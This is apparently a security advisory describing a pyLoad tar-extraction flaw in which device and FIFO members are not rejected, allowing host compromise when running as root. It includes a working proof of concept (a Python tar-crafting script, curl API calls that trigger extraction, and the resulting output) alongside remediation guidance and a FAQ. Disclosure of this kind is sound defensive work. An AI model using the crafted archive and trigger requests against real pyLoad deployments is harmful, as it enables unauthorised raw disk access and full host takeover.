GHSA-fr26-jjhm-638c: Path Traversal
Summary
UnTar.safeextractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fullytrusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise — reachable by any low-privileged user who can trigger archive extraction (ADD to supply an archive, STATUS to invoke ExtractArchive.extractpackage).
Details
python plugins/extractors/UnTar.py:69-79 for member in tar.getmembers(): if not iswithindirectory(...) or <symlink/hardlink target checks>: # names/links only raise ArchiveError(...) tar.extractall(path, members, numericowner=numericowner) # no filter=
No member.isdev() / ischr() / isblk() / isfifo() check exists, and the pre-validation in plugins/base/extractor.py:191-263 is likewise name-only. Python's tarfile only defaults to a safe filter in 3.14; supported runtimes (3.9–3.13) honor mknod for euid=0 and create FIFOs for any euid.
PoC
bash BASE=http://127.0.0.1:8100 craft a tar with: regular marker.txt + a CHRTYPE member (major=1,minor=3) + a FIFOTYPE member python3 - <<'EOF' import tarfile, io t = tarfile.open('dev.bin','w') # name it .bin so UnTar (content-sniffed) claims it t.addfile(tarfile.TarInfo('marker.txt'), io.BytesIO(b'MARKER')) i = tarfile.TarInfo('nulldev'); i.type = tarfile.CHRTYPE; i.devmajor=1; i.devminor=3; i.mode=0o666 t.addfile(i) f = tarfile.TarInfo('pipe'); f.type = tarfile.FIFOTYPE t.addfile(f); t.close() EOF
as a low-priv user (ADD|STATUS): add a package, place the archive in its download folder, then trigger extraction curl -s -X POST "$BASE/api/addpackage" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' -d '{"name":"poc","links":["http://x/dev.bin"],"dest":1}' curl -s -X POST "$BASE/api/servicecall" -b ed.jar -H "X-CSRFToken: $T" \ -H 'Content-Type: application/json' \ -d '{"servicename":"ExtractArchive.extractpackage","arguments":["<pid>"]}'
ls -l <extract dir> → crw-rw-rw- 1 root root 1, 3 nulldev (character device created) → prw-r--r-- 1 root root pipe (FIFO created) → -rw-r--r-- 1 root root marker.txt
Negative control: the same flow with a ../evil traversal member is rejected (ArchiveError: Attempted path traversal in archive) and nothing is extracted — the GHSA-mvwx name filter works; the gap is member-type-specific. (Note: when the 7z binary is present, .tar-named files are claimed by SevenZip first by extension; the UnTar path is reached via non-mapped names — as above — content-sniffed containers, or when 7z is absent/fails.)
Impact
With pyLoad as root, a crafted archive can create block/character device nodes at arbitrary paths (raw disk read/write → host compromise), plant FIFOs (process hangs, IPC confusion), or set special bits; non-root deployments still get FIFOs and node entries in user-accessible trees.
Remediation
In safeextractall, reject (or skip) every member that is not a regular file, directory, or safe link — e.g. member.isdev() or isfifo() → ArchiveError — and pass filter="data" (Python ≥ 3.12 supports it; backport the check for older runtimes). Apply the same member-type validation in the pre-extraction validator so all extractors share it.
References
- GHSA-mvwx-582f-56r7 — the tar path-traversal fix this extends (names/links validated, member types not).
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Configuration
In UnTar._safe_extractall and the shared pre-extraction validator, reject archives containing device or FIFO members (including member.isdev(), ischr(), isblk(), or isfifo()) and pass filter="data" to tarfile.extractall. Python >=3.12 supports this filter; backport the member-type check for Python 3.9–3.13, since the safe default is only present in Python 3.14.
pyLoad UnTar and shared extractor pre-validation tar member-type validation / extraction filter = Reject or skip every member that is not a regular file, directory, or safe link; use filter="data" where supported
Event History
Frequently Asked Questions
Who can exploit this issue in a typical deployment?
Any low-privileged user who can trigger archive extraction can supply a crafted tar archive through ADD and invoke extraction through STATUS. The impact is especially severe when pyLoad runs as root, as in the official Docker deployment.
Which Python runtimes are affected by the unsafe default extraction behavior?
Python 3.9 through 3.13 use tarfile's fully_trusted extraction default, which permits creation of device and FIFO entries. Python 3.14 changes the default to a safe filter.
What is the practical impact when pyLoad runs as root?
A crafted archive containing a block-device entry can cause pyLoad to create that device on disk. This grants raw disk access and can lead to full host compromise.
What should be restricted if an update cannot be applied immediately?
Restrict low-privileged users' ability to submit archives and trigger archive extraction, specifically the ADD and STATUS paths described. Avoid running pyLoad as root where possible, since root execution enables the raw-disk-access impact.